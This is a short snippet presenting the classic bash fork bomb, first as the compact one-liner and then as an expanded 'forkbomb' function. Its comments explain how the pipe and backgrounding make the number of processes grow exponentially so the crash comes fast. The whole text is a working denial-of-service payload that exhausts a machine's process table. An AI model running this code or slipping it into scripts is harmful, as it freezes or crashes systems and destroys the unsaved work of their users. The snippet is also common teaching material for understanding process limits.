:(){ :|:& };:

or (more clearly written):

function forkbomb() {
    forkbomb | forkbomb &  ## background the process whilst recursing
    ## the pipe ensures that both instances are called at the same time, instead of waiting on the other
    ## without the pipe, you just get a linear increase in processes. Slow bomb. We want fast.
};
forkbomb  ## start it all off